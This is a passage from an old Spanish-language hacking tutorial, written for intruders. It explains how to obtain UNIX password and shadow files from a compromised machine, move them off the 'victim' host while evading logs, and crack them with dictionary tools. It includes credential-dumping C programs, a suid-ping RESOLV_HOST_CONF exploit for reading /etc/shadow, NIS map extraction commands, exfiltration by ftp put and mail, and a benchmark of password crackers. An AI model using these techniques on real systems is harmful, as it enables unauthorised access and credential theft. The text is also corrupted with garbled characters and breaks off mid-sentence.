6.2.- Conseguir el fichero de pa°wd estando dentro de la maquina
6.2.1.- Introduccion
Siempre que se tenga una cuenta en un sistema, debereis entrar en el
para pillar el famoso fichero de pa°wd sobre todo si esa cuenta os la ha
pasado otro hacker ya que el root puede darse cuenta que esa cuenta es
peligrosa para sus intereses y cerrarla.
Igualmente, antes de ir a pillarlo, haced un who para ver si esta el
root.. aunque muchas veces aparece el root y realmente no esta ya que es
facil hacer esto por lo que cada uno que vea lo que hace en estos casos
aunque con un poco de sentido comun es sencilla la determinacion a tomar.
Asi, si teneis el fichero de pa°wd tendreis muchisimas cuentas y os
dara lo mismo que cierren la cuenta con la que entrasteis en principio
aunque esto realmente no es asi por lo que no lo tomeis muy al pie de la
letra ya que un root que se de cuenta de que tiene un hacker rondando (si
el root controla el tema) siempre tiene las de ganar en esta batalla :(
Ademas, es conveniente cambiar de cuentas para entrar al sistema ya
que como se comentara mas adelante parte de lo que hagais en un sistema UNIX
se queda en los ficheros de logs por lo que si no conseguis root y borrais
estos logs, vuestras huellas estaran ahi y nada mas que el root tenga algo
de interes por la seguridad vera que ha habido un tio haciendo cosas
inusuales, pero todo esto ya es otro cantar que ya se hablara mas adelante.
El resumen de los anteriores parrafos es que lo mejor es una vez con
una cuenta en el sistema, pillar el fichero de pa°words y luego hacerse
root y borrar todas las huellas... el problema es que no siempre todo esto
es tan sencillo :(
En fin, suponemos que hemos conseguido una cuenta por alguno de los
metodos anteriores, asi, si la cuenta no es muy restringida siempre podeis
hacer un "cat /etc/pa°wd". Si no tienen Shadow Pa°words o NIS aparecera
una lista como la que habeis visto al principio. Sino, aparecera algo
similar a esto:
root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Aunque el problema que se puede dar en muchos de estos sistemas, el
directorio que contiene el fichero pa°wd (este o no este shadow) no es de
acceso a usuarios que no sean root, por lo que en principio no conseguiremos
ver su contenido, pero eso se hara posible gracias a sucesivas llamadas a
getpwent(). Debemos nombrar este archivo como getpa° y direccionar su
salida a un fichero tal como sigue:
cc cogerPa°.cc -o cogerPa° > fichero
------------ Codigo Fuente ---------------------------------------------------
#include <iostream.h>
#include <pwd.h>
struct pa°wd *pw;
main()
{
while ((pw = getpwent()) != NULL)
{
cout << pw->pw_name;
cout << ":" << pw->pw_pa°wd;
cout << ":" << pw->pw_uid;
cout << ":" << pw->pw_gid;
cout << ":" << pw->pw_gecos;
cout << ":" << pw->pw_dir;
cout << ":" << pw->pw_shell << endl;
}
endpwent();
}
------------ FIN -------------------------------------------------------------
y tendreis el archivo de pa°wd renombrado con el nombre fichero con
lo que ya podeis hacer lo que querais con el. Se os ocurre algo ®?? XDD
6.2.2.- PA°WORD SHADOWING
En todo el texto nos hemos referido a este concepto sin explicar lo
que es. Posiblemente lo tendria que haber comentado antes, pero espero que
quien lea se leera todo el texto antes de hacer nada. En fin, no me enrollo,
pa°word shadowing consiste en un sistema de seguridad en el cual en el
archivo etc/pa°wd no estan los ficheros encriptados, sino que habra algo
del tipo:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
En los que como se puede observar, los pa°wd encriptados han sido
sustituidos por una x aunque podria ser un * u otros simbolos. En este tipo
de sistemas de seguridad, el verdadero archivo de pa°wd esta en un fichero
que no es el /etc/pa°wd, pero el problema es que ese archivo no es
accesible para todo el mundo, sino que es de solo lectura por el root por lo
que si eres un usuario normal, no podras leerlo en principio.
A continuacion se muestra en que directorio puede estar el fichero
shadow en los sistemas operativos mas usuales (obtenida de FAQ 2600):
Para determinar el tipo de unix que corre, usa uname -a cuando estes
ya dentro de la maquina, aunque se puede ver con un telnet u otros metodos.
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/pa°wd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.pa°wd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/pa°wd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/pa°wd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/pa°wd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
Una manera de conseguir el fichero de pa°wd si esta shadow y si usa
libc 5.4.7 ( algunos aun la usan) es aprovechar que algunos comandos como
ping, traceroute, rlogin y °h estan suid por lo que se podra explotar como
sigue:
Ejecutas bash o sh
Export RESOLV_HOST_CONF=/etc/shadow ( o el fichero en el que este
dependiendo del sistema operativo)
Ping asdf
Y si no ha fallado nada te imprimira el shadow jeje. Con este metodo
se pueden hacer mas kosas... pero es tan obvio que lo omito okis? jeje
6.2.3.- NIS
Otro concepto que se ha comentado a lo largo del texto es el de NIS
por lo que a continuacion explico un poco lo que es.
NIS (Network Information System) es un protocolo de nivel de
aplicacion muy util para la gestion de configuraciones cliente/servidor en
sistemas UNIX. Anteriormente era conocido como Yellow Pages y es un sistema
de bases de datos distribuidas que proporcionan un metodo uniforme para el
almacenamiento y de recuperacion de la informacion sobre los recursos de
red. En lugar de gestionar archivos como /etc/host /etc/pa°wd,/etc/group
independientemente en cada maquina de la red, este sistema posibilita que
solo haya una base de datos compartida por el resto de las maquinas clientes
en un servidor central.
En fin, tras este rollo os preguntares y que mas nos da esto del
NIS??, pues bien, es que una de la informacion ( mapas) que es compartida
son los famosos ficheros de pa°word que nosotros buscamos jeje.
Asi, si estas dentro de una maquina con NIS y os sale algo que parece
un shadow en el fichero /etc/pa°wd posiblemente haya un NIS. Esto se puede
identificar como se ha comentado, mirando la ultima linea del fichero de
pa°wd y si es algo del tipo "+::0:0:::" o mirando los procesos del sistema,
ya que el NIS siempre tendra corriendo ypserv y algunos procesos mas que
empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo
que tienes que intentar es usar el ypcat tal como sigue:
ypcat /etc/pa°wd > ~/pa°wd
y bajate el fichero pa°wd de tu directorio HOME usando FTP o como
quieras. Mas adelante se comentaran varios metodos.
En caso de que no tengais privilegios para ejecutar el "ypcat", o en
caso de que el "ypcat" no este o por si acaso lo que aparece al ejecutar el
"ypcat" vuelve a ser basura otra vez, tendreis que recurrir a otros
programas para obtener los pa°words como por ejemplo el pwget que tambien
es usado para pillar shadows:
------------ Codigo Fuente ---------------------------------------------------
# This is a shell archive. Remove anything before this line,
# then unpack it by saving it in a file and typing "sh file".
# This archive contains:
# README Makefile pwget.1 pwget.c
LANG=""; export LANG
echo x - README
cat >README <<'@EOF'
These utilities provided a common command level acce° to /etc/group and
/etc/pa°wd much in the same way as getgrent(), getpwent(), et al.
This is especially useful if your system is running NFS and Yellow Pages. With
Yellow pages, there is no easy command level interface for this information
that will give you the same results as the libc routines.
These routines use "getopt()" so make sure your system has it.
Edit the Makefile for your machine/os and for the owner, group, mode
and destination of the binary and the man page.
Install with: make install.
File list:
README - This file.
Makefile - Makefile.
pwget.1 - Man Page.
pwget.c - Command source.
@EOF
chmod 664 README
echo x - Makefile
cat >Makefile <<'@EOF'
# Configure CFLAGS/LDFLAGS for your machine/OS
# for HP-UX and other Sys V systems:
CFLAGS= -O -DSYSV
# for VAX 4.[23] BSD, SunOS and other BSD based systems:
# CFLAGS= -O -DBSD
# Need getopt for pwget, include library that has it.
# System V based system (like HP-UX), 4.3BSD and SunOS have null
LDFLAGS.
LDFLAGS=
# 4.2BSD requires getopt from someplace.
# LDFLAGS= -lgetopt
MODE=755
OWNER=bin
GROUP=bin
DEST=dest
MANMODE=444
MANOWNER=bin
MANGROUP=bin
MANDEST=man
all: grget pwget pwget.cat
install: installcmd installman
installcmd: pwget
strip pwget
# use install for BSD and cpset for SYSV
# install -c -o $(OWNER) -g $(GROUP) -m $(MODE) pwget $(DEST)
cpset pwget $(DEST) $(MODE) $(OWNER) $(GROUP)
ln $(DEST)/pwget $(DEST)/grget
installman: pwget.1
# use install for BSD and cpset for SYSV
# install -c -o $(MANOWNER) -g $(MANGROUP) -m $(MANMODE)
pwget.1 $(MANDEST)
cpset pwget.1 $(MANDEST) $(MANMODE) $(MANOWNER)
$(MANGROUP)
grget: pwget
ln pwget grget
pwget: pwget.o
cc $(LDFLAGS) -o pwget pwget.o
pwget.o: pwget.c
cc $(CFLAGS) -c pwget.c
pwget.cat: pwget.1
tbl pwget.1 | nroff -man -T > pwget.cat
clean:
/bin/rm -f pwget.o pwget grget
clobber: clean
@EOF
chmod 664 Makefile
echo x - pwget.1
cat >pwget.1 <<'@EOF'
.TH PWGET UTIL "" "" ""
.ad b
.SH NAME
pwget, grget \- get pa°word and group information
.SH SYNOPSIS
.B pwget
.RB [ " \-n" " name"
.RB | " \-u" " uid " ]
.PP
.B grget
.RB [ " \-n" " name"
.RB | " \-g" " gid " ]
.br
.SH DESCRIPTION
.I Pwget\^
and
.I grget\^
are used to acce° the information found in
.B /etc/pa°wd
and
.BR /etc/group .
These routines provide a common acce° method
whether using the Yellow Page network database or not.
The output of these routines is sent to standard output.
With no options,
.I pwget
and
.I grget
output all of the data found using
.IR getpwent( LIBC )
and
.IR getgrent( LIBC )
respectively.
When options are given, only specified entries are searched for.
.PP
The options for
.I pwget
are:
.RS
.TP .8i
.BI \-n " name"
Output the first entry that matches using
.BI getpwnam( name ).
.TP
.BI \-u " uid"
Output the first entry that matches using
.BI getpwuid( uid ).
.RE
.PP
The options for
.I grget
are:
.RS
.TP .8i
.BI \-n " name"
Output the first entry that matches using
.BI getgrnam( name ).
.TP
.BI \-g " gid"
Output the first entry that matches using
.BI getgrgid( gid ).
.RE
.SH RETURN VALUE
These routines return 0 upon succe°, 1 when
a specific search fails and 2 upon error.
.SH WARNINGS
If the Yellow Page network database is in use and the
YP client daemon,
.IR ypbind (ADMIN),
is not connected to a YP server daemon,
.IR ypserv (ADMIN),
then these utilities will wait until such a connection is
established. These routines can be terminated in this
condition by sending a SIGINT signal to the proce° (see
.IR kill (UTIL)).
.SH AUTHOR
Pwget and grget were developed by Hewlett-Packard Company.
.SH FILES
.TS
l l.
/etc/group Local group data file
/etc/pa°wd Local pa°word data file
.TE
.SH SEE ALSO
getgrent(LIBC), getpwent(LIBC), group(FILE), pa°wd(FILE).
@EOF
chmod 644 pwget.1
echo x - pwget.c
cat >pwget.c <<'@EOF'
#include <stdio.h>
#include <grp.h>
#include <pwd.h>
#ifdef SYSV
#include <string.h>
#else /* not SYSV but BSD */
#include <strings.h>
#endif /* SYSV / BSD */
int atoi(), getopt();
char *arg0;
#define GRGET 1
#define PWGET 2
int mode; /* Mode of operation, either GRGET or PWGET. */
main(argc, argv)
int argc;
char **argv;
{
int printgr(), printpw();
int c;
extern char *optarg;
extern int optind;
struct group *grp;
struct pa°wd *pwd;
int anyflag = 0,
gflag = 0,
nflag = 0,
uflag = 0;
int gid, uid;
char *name, *opts;
mode = 0;
#ifdef SYSV
if ((arg0 = strrchr(argv[0], '/')) == NULL)
#else /* not SYSV but BSD */
if ((arg0 = rindex(argv[0], '/')) == NULL)
#endif /* SYSV / BSD */
arg0 = argv[0];
else
arg0++; /* Start after the '/' */
if (strcmp(arg0, "grget") == 0)
mode = GRGET;
else if (strcmp(arg0, "pwget") == 0)
mode = PWGET;
else
usage();
switch(mode)
{
case GRGET:
setgrent();
opts = "g:n:";
break;
case PWGET:
setpwent();
opts = "u:n:";
break;
}
while ((c = getopt(argc, argv, opts)) != EOF)
{
switch (c)
{
case 'g':
if (anyflag != 0)
usage();
gflag++;
anyflag++;
gid = atoi(optarg);
break;
case 'n':
if (anyflag != 0)
usage();
nflag++;
anyflag++;
name = optarg;
break;
case 'u':
if (anyflag != 0)
usage();
uflag++;
anyflag++;
uid = atoi(optarg);
break;
case '?':
usage();
break;
}
}
if (argv[optind] != NULL)
usage();
if (gflag)
{
if ((grp = getgrgid(gid)) != NULL)
printgr(grp);
else
exit(1);
}
else if (nflag)
{
if (mode == GRGET)
{
if ((grp = getgrnam(name)) != NULL)
printgr(grp);
else
exit(1);
}
else if (mode == PWGET)
{
if ((pwd = getpwnam(name)) != NULL)
printpw(pwd);
else
exit(1);
}
}
else if (uflag)
{
if ((pwd = getpwuid(uid)) != NULL)
printpw(pwd);
else
exit(1);
}
else
{
if (mode == GRGET)
{
while ((grp = getgrent()) != NULL)
printgr(grp);
}
else if (mode == PWGET)
{
while ((pwd = getpwent()) != NULL)
printpw(pwd);
}
}
switch(mode)
{
case GRGET:
endgrent();
break;
case PWGET:
endpwent();
break;
}
exit(0);
}
usage()
{
switch(mode)
{
case GRGET:
fprintf(stderr, "usage: %s [ -g gid | -n name ]\n", arg0);
break;
case PWGET:
fprintf(stderr, "usage: %s [ -n name | -u uid ]\n", arg0);
break;
default:
fprintf(stderr, "Call as either grget or pwget\n");
break;
}
exit(2);
}
printgr(g)
struct group *g;
{
char **chr;
int comma;
if (g != NULL)
{
printf("%s:%s:%d:", g->gr_name, g->gr_pa°wd, g->gr_gid);
/* prints "grp1,grp2,grp3, ... ,grpn" */
for (comma = 0, chr = g->gr_mem; *chr != NULL; chr++)
printf("%s%s", ((comma==0)?comma++,"":","), *chr);
printf("\n");
}
}
printpw(p)
struct pa°wd *p;
{
if (p != NULL)
{
printf("%s:%s", p->pw_name, p->pw_pa°wd);
#ifdef SYSV
if (strcmp(p->pw_age, "") != 0)
printf(",%s", p->pw_age);
#endif /* SYSV */
printf(":%d:%d:%s:%s:%s\n", p->pw_uid, p->pw_gid,
p->pw_gecos, p->pw_dir, p->pw_shell);
}
}
@EOF
chmod 666 pwget.c
exit 0
------------ FIN -------------------------------------------------------------
Una vez lo teneis en la maquina objetivo, lo compilais con "cc -o
pwget pwget.c", y ejecutarlo ("./pwget"), con lo que obtendreis por pantalla
la lista de pa°words. Si quereis la lista en un fichero, solo teneis que
redireccionar la salida de la pantalla a un fichero:
$ ./pwget > fichero
Ahora adjunto otro programita que siempre es bueno tenerlo a mano por
si el pwget da alguna pega o algo y que sirve para obtener los pa°word
shadow es el siguiente.
Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y luego
./shadowpw >> pa°word. Asi obtenendremos el fichero de pa°wd en el
fichero pa°word.
------------ Codigo Fuente ---------------------------------------------------
/* This source will/should print out SHADOWPW pa°wd files. */
struct SHADOWPW { /* see getpwent(3) */
char *pw_name;
char *pw_pa°wd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct pa°wd *getpwent(), *getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name of the shadow pa°word file. Contains pa°word and aging info */
#define SHADOWPW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"
/*
* Shadow pa°word file pwd->pw_gecos field contains:
*
* <type>,<period>,<last_time>,<old_time>,<old_pa°word>
*
* <type> = Type of pa°word criteria to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong pa°words.
* <period> = Pa°word aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* <last_time> = Time (seconds from epoch) of the last pa°word
* change (type long).
* 0, never changed.n
* <old_time> = Time (seconds from epoch) that the current pa°word
* was made the <old_pa°word> (type long).
* 0, never changed.ewromsinm
* <old_pa°word> = Pa°word (encrypted) saved for an aging <period> to
* prevent reuse during that period (type char [20]).
* "*******", no <old_pa°word>.
*/
/* number of tries to change an aged pa°word */
#define CHANGE_TRIES 3
/* program to execute to change pa°words */
#define PA°WD_PROG "/bin/pa°wd"
/* Name of the pa°word aging exempt user names and max number of entires
*/
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Pa°word criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD pa°word criteria */
#define STR_CRIT 1 /* Strong pa°word criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct pa°wd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_pa°wd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2 /etc/security/pa°wd.adjunct */
------------ FIN -------------------------------------------------------------
Ademas existe un programa llamado YPX que sirve para extraer estos
mapas (incluido el fichero pa°wd, donde estan incluidos todos las pa°words
de los usuarios) de un servidor de NIS aunque la maquina en la que estemos
no sea una maquina cliente. Para conseguirlo buscalo en la red en cualquier
buscador o posiblemente este en el web de donde te bajes este texto :o). Hay
otros programas de ese estilo como ypsnarf, etc.
Su uso es muy sencillo ya que solo tienes que hacer:
ypx -m pa°wd nombre_dominio_nis
Ademas, tened en cuenta las importantes ventajas que tiene el tener
una cuenta en un sistema con nis.. creo que no hace falta que os lo
explique tras el rollo que ya he contado no?.. si alguno no lo tiene claro
que se relea el texto jeje.
6.3.- DISTINTOS METODOS PARA BAJAROS EL FICHERO DE PA°WD UNA VEZ LO TIENES
BAJO CONTROL
Una vez tenemos el fichero de pa°wd en un archivo mas o menos bajo
nuestro control, es decir que ya hemos pillado el shadow o tenemos acceso
directamente al pa°wd, hemos de bajar esa informacion a nuestra maquina.
Hay varios sistemas:
1.- Usar el ftp, corriendo el ftp en la maquina delante de la que tu
estas sentado y usar el get para pillar el fichero de pa°wd. Este sera el
metodo usual pero en algunos casos esto no sera posible debido a algun
metodo de seguridad. Una variante de esto es configurar en tu maquina el
ftp y usar el ftp desde la maquina victima y hacer un put (para subir el
fichero) a tu maquina desde la maquina victima. Tambien teneis que tener en
cuenta que el ftp tiene un fichero de logs adicional por lo que tendreis
que tenerlo en cuenta. Un consejo para este caso puede ser hacer un cat
pa°wd > cualquiera y luego bajar el fichero "cualquiera" y asi en los logs
no queda registrado que os habeis bajado el fichero pa°wd.
2.- Si el fichero de pa°wd no es muy grande, podemos abrir una
ventana en nuestra maquina local y usar el copiar y pegar entre la ventana
que tienes en la maquina victima y la ventana que tenemos en nuestra
maquina. Es un poco cutre pero funciona :o). Por si alguien no lo sabe, en
linux se copia con el boton izquierdo del raton y se pega con el central o
pulsando los dos (izquierdo y derecho) a la vez dependiendo de la
configuracion. Este metodo es cutre pero no da tanto el cante ya que en los
logs solo aparece un cat y no aparece que te has bajado el /etc/pa°wd por
ftp≠!
3.- Usar el Kermit
Para bajar el fichero via Kermit o Zmodem necesitareis que vuestro
programa de telnet soporte esos protocolos y que la maquina Unix en la que
estais tambien los soporte (o sea, tenga los programas instalados). El
programa de Kermit suele estar en casi todos los sitios:
$ kermit
kermit> set file type ascii (o "text", segun las maquinas)
kermit> set send pack 1000
kermit> set rec pack 1000
kermit> set file type 2 (o 3, como querais)
kermit> send fichero
... Download->Kermit
CTRL+C
kermit> quit
$
4.- Usar el ZModem/Ymodem/Xmodem.
Podreis usar este sistema en caso de tenerlo instalado:
$ sz fichero
... Download->ZModem
$
5.- Usar el mail aunque solo se debe hacer si la cuenta esta
restringida al mail o teneis algun problema extraño se puede usar como
ultimo recurso maileando el pa°wd desde la maquina victima a una cuenta de
correo tuya... tiene la ventaja de que no es nada sospechoso ya que es
usual que la gente use el mail :)... es bastante menos sospechoso ke el ftp
:). Esto tambien suele quedar en algun fichero de logs.
Como veis, estos metodos hay algunos muy chapuceros, pero cuando estas
en una maquina y estas un poco desesperado se hace lo que haga falta jeje.
6.4.- COMO SE CRACKEAN
Una vez obtenido el fichero pa°wd y teniendolo en nuestra maquina,
ahora se ha de comentar como se pueden sacar los pa°word y los login.
Como hemos visto, no podemos descifrar un pa°word, pero si que
podemos cifrar palabras con todos los salt posibles y compararlas con la
que ya tenemos cifrada. El tema es que palabras usamos para encriptarlas y
comparar... pues bien se pueden hacer varias cosas, usar listas de palabras
ya hechas o haceros vosotros una. A estas listas de palabras son lo que se
denominan los famosos diccionarios.
Si optas por pillar diccionarios ya hechos.. hay sites que contienen
muchas wordlists (diccionarios) en casi cualquier idioma que os podais
imaginar. Los sites mas conocidos para estos fines son:
ftp://sun.rediris.es/mirror/sable/wordlists/
http://sunshine.sunshine.ro/FUN/Word_lists/
ftp://ftp.warwick.ac.uk/pub/cud/
ftp://sable.ox.ac.uk/pub/wordlists/
Si prefieres hacerte uno... (es lo que os aconsejo) simplemente te
pones delante del teclado y pones todas las palabras que se te ocurran. El
problema de esto es que el diccionario esta restringido a tus conocimientos
o aficiones.. por ejemplo, si no te gusta el futbol tienes un problema ya
que mucha gente pone como pa°word nombres de futbolistas, nombre del novio,
de la novia, insultos, libros, su apellido, etc. Por ejemplo en el mio he
puesto las plantillas de los equipos de futbol mas importantes, lista de
ciudades, listas de apellidos y nombres ,etc. Ademas tened en cuenta que si
os haceis un diccionario vosotros, solo os servira para sites españoles ya
que dificilmente sacareis algo en una maquina de zambia :o)
Otra cosa es que muchas veces coincide el login con el pa°word pero
si usais el john the ripper, esto lo saca el con la opcion -single.
Ademas, os podeis ayudar de algun programa para extraer todas las
palabras de un fichero o utilidades que hay en la red para modificar listas
de palabras.. pero eso es otro cantar.
6.5.- Que crackeador de pa°word usar.
Ahora que ya teneis la lista de pa°words y unas cuantas listas de
palabras falta un programa que encripte las palabras y las compare con los
pa°words encriptados del fichero de pa°words. Para ello hay muchos
programas que podeis usar. Ahora comentare brevemente las caracteristicas
de los programas (y sus nombres, para que los podais buscar por la red),
pero antes quiero dar algunos truquillos para que consigais pa°words en
menos tiempo.
? Elimina del fichero de pa°words todas las lineas cuyo pa°word sea
invalido ("*", "*NOPA°WORD*", etc)
? Ordenad las lineas del fichero de pa°word por los dos primeros
caracteres del pa°word encriptado. Algunos de los programas que comento ya
hacen esto al cargar el fichero de pa°word, pero algunos no lo hacen. Con
estos dos pasos os podeis ahorrar bastante tiempo si usais estos petadores.
? Aquellos usuarios que tienen el campo de pa°word vacio
(user1::101:1:Manolito:/usr/user1:/bin/sh) no tienen pa°word, asi que
son una cuenta que podeis eliminar del fichero, ya que no os hace falta
petar el pa°word para entrar.
Petadores:
? Cracker Jack 1.4 (JACK14*.*, CJACK. Esta en practicamente cualquier
site de internet dedicado al hacking. Funciona para DOS y para OS/2, y
es bastante rapido. Incluye en el mismo paquete varias utilidades para
tratar listas de palabras.
? Brute 2.00 (BRUTE*.*) Otro petador bastante popular pese a su
lentitud. Creo que existe otra version mas rapida, pero usa un algoritmo de
encriptacion que no es del todo correcto (aunque es mas rapido), y no pilla
todos los pa°words que debiera. No he podido localizar ninguna copia de
esa version asi que no la he podido probar. Funciona para DOS.
? StarCrack 0.64á (STARCRAK*.*) Este es un petador con multitud de
opciones, que permite manipular palabras mientras se prueban. Es mas rapido
que el Cracker Jack, funciona para DOS y es muy completo. Es bastante nuevo,
y ademas es una Beta, o sea que supongo que pronto saldra alguna version
mejorada... :-? Es bastante completo y permite hacer de todo ? Esta es la
homepage del StarCrack: http://www.chez.com/thes/starcrak.html
? Hades 1.00a (HADES*.*) Otro petador para DOS. Este hace las pruebas
de una forma distinta al resto de petadores. En vez de encriptar una
palabra y comparar con los pa°words de todos los usuarios, prueba de
encriptar todas las palabras y compara cada palabra con el pa°word de
un usuario. Una vez ha acabado con un usuario, prueba lo mismo con otro.
Debido a esta forma de actuar, realiza mucha entrada/salida de disco, lo
cual ralentiza el proceso. Sus prestaciones mejoran notablemente si
ordenamos el fichero de pa°words por el campo pa°word encriptado, ya que
asi prueba varios usuarios a la vez. Tambien se puede mejorar su rendimiento
teniendo todas las listas (palabras y pa°words) en un disco virtual en
memoria.
? Gue° 2.1 (GUE°*.*) Petador para DOS, extremadamente lento. Tiene
problemas de memoria si se intenta usar con ficheros de pa°words de
mas de 1000 lineas.
? PCUPC 2.01 (PCUPC*.*) Otro petador para DOS. Este tiene problemas
de memoria si se intenta usar con ficheros de pa°words de mas de
600/700 lineas.
? Killer Cracker 9.5 (DJKC95*.*, KC*.*) Al igual que el Gue°, es un
petador para DOS bastante lento y que da problemas si se usa con
ficheros de pa°words de mas de 1000 lineas.
? Xit 2.0 (XIT20*.*) Petador para DOS. Es lo mas lento que me he
encontrado. Como su nombre indica, es una shit! :-)
? HellFire Cracker 1.3 (HC130*.*) Petador para DOS. Necesita 386 con
coprocesador para funcionar, pero por algun extraño motivo se cuelga en mi
pentium y en mi 486, asi que no os puedo decir que tal este. Quizas si
teneis un 386 lo podais usar con exito. El programa incluye un emulador de
387 por si no teneis coprocesador. De todas formas, es un programa muy
antiguo que seguramente no sera muy rapido.
? John the ripper 1.4 (UCFJOHN3*.*) Petador para DOS/Win32/Linux y
cualquier otra cosa, ya que viene con las fuentes. Funciona de una forma
muy similar al Cracker Jack pero incluye mas opciones y es bastante mas
rapido. No tiene tantas opciones como el Star Crack, pero es bastante mas
rapido. Ademas permite un monton de opciones para tratar las listas de
palabras que usais... ? Esta es la homepage del John the
Ripper: http://www.false.com/security/john/
Aqui teneis una comparativa de estos petadores, en la misma maquina y
con los mismos ficheros de pa°words y de palabras. Algunos de ellos
tardaban demasiado, y aborte el proceso de petar pa°words. En estos casos,
calcule el tiempo estimado que tardarian en acabar en funcion del tiempo
que llevaban (1 hora) y las palabras que habian provado hasta el momento.
Estos son los resultados, ordenados por velocidad:
PRIVATE Cracker
Tiempo
Comparacion
es
por Segundo
Observaciones
John the ripper 1.4
6'15''
26667c/s
.
John the ripper 1.31
6'30''
25641c/s
.
John the ripper 1.0
8'05''
20619c/s
.
Star Crack 0.64á
9'15''
18018c/s
.
Star Crack 0.51á
11'25''
14599c/s
.
Cracker Jack 1.4
13'33''
12300c/s
.
Cracker Jack 1.3 386
14'55''
11173c/s
.
Cracker Jack 1.3 8086
22'22''
7452c/s
.
Hades 1.00a
47'05''
3540c/s
.
Brute 2.00
(est)59'54''
2782c/s
.
PCUPC 2.01
(est)135'37''
1229c/s
Solo soporta ficheros de pa°words
de menos de 500 lineas.
Gue° 2.1
(est)141'58''
1174c/s
Solo soporta ficheros de pa°words
de menos
de 1000 lineas.
Killer Cracker 9.5
(est)151'12''
1105c/s
Solo soporta ficheros de pa°words
de menos de 1000 lineas.
Xit 2.0
(est)195'37''
852c/s
.
Hellfire Cracker 1.3
infinito
0c/s
Se colgo y no pudo ser probado.
Este test fue realizado en un Pentium 133, con 16 Mb de RAM, con los
datos en el disco duro, con una cache de lectura de 2 Mb y sin hacer ningun
preprocesado en el fichero de pa°words ni en el de palabras. El fichero de
palabras contenia 10000 palabras y el de pa°words 1000 pa°words. Tenian
que encontrar 554 pa°words.
Algunos de ellos no los deje acabar ya que tardaban demasiado y estime
el tiempo en funcion de lo que habian crackeado hasta el momento de
pararlos, por lo tanto no se si hubieran encontrado todos los pa°words.
Solo los he incluido en la comparativa por si alguno de vosotros los usa,
para que vea que hay cosas mejores.
Como se puede ver, el John the ripper encripta casi el doble de
pa°words por segundo que el Cracker Jack. He de reconocer que el fichero
con el que hize la prueba parece ser especialmente adecuado para el John the
ripper, ya que 20000c/s no se consiguen habitualmente. De todas formas, la
comparativa es significativa de la velocidad a la que se petan pa°words con
cada uno de los programas.
Una cosa que me gustaria puntualizar es que aunque el pa°word del
root se puede sacar con este metodo de fuerza bruta, no es demasiado
aconsejable y solo se debe usar para casos in extremis. Esto es asi porque
si el root tiene algo de idea de esto, tendra un pa°wd un poco raro y no
lo podreis sacar facilmente a no ser que pongais el john en modo incremental
(y esto es una locura tal como se comentara mas adelante).
Otra historia es si teneis a mano una maquina de donde podais colgar
el proceso con lo que lo podeis colgar de alli y que trabaje el (el problema
